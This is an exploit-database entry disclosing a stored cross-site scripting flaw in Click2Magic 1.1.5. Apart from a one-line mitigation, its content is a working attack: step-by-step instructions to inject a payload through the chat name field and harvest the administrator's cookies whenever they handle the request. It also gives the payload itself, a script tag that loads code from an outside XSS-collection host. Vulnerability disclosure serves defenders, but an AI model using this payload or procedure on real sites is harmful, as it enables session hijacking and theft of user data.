Click2Magic 1.1.5 - Stored Cross-Site Scripting

vendor:

Click2Magic

by:

Shivam Verma(cyb3r_n3rd)

8.8

CVSS

HIGH

Stored Cross-Site Scripting

CWE

Product Name: Click2Magic

Affected Version From: 1.1.5

Affected Version To: 1.1.5

Patch Exists: NO

Related CWE: N/A

CPE: 2.3:a:click2magic:click2magic:1.1.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2020

Click2Magic 1.1.5 – Stored Cross-Site Scripting

This Vulnerability Leads an Attacker to Inject Malicious Payloads in Chat section each time admin/user visits and manages the user data, The Malicious Payload(XSS) triggers and attacker can capture the admin cookies and access the users Data

Mitigation:

Input validation and output encoding should be used to prevent XSS attacks.

Source

Exploit-DB raw data:

# Exploit Title: Click2Magic 1.1.5 - Stored Cross-Site Scripting
# Exploit Author: Shivam Verma(cyb3r_n3rd)
# Date: 2020-12-25
# Google Dork: N/A
# Vendor Homepage: https://www.click2magic.com/user/agent/index
# Software Link: https://www.click2magic.com
# Version: 1.1.5
# Category: Web Application
# Tested on: Kali Linux

Attack Vector: This Vulnerability Leads an Attacker to Inject Malicious Payloads in Chat section each time admin/user visits and manages the user data, The Malicious Payload(XSS) triggers and attacker can capture the admin cookies and access the users Data

Step 1. visit the link
Step 2. Start a new Chat
Step 3. When ask for name paste your Xss Payload
Step 4. Wait for the Administrator to click on Your link
Step 5. You will receive Admin Cookie Everytime he Process the Request

---

XSS Payload: "><script src=https://.xss.ht></script>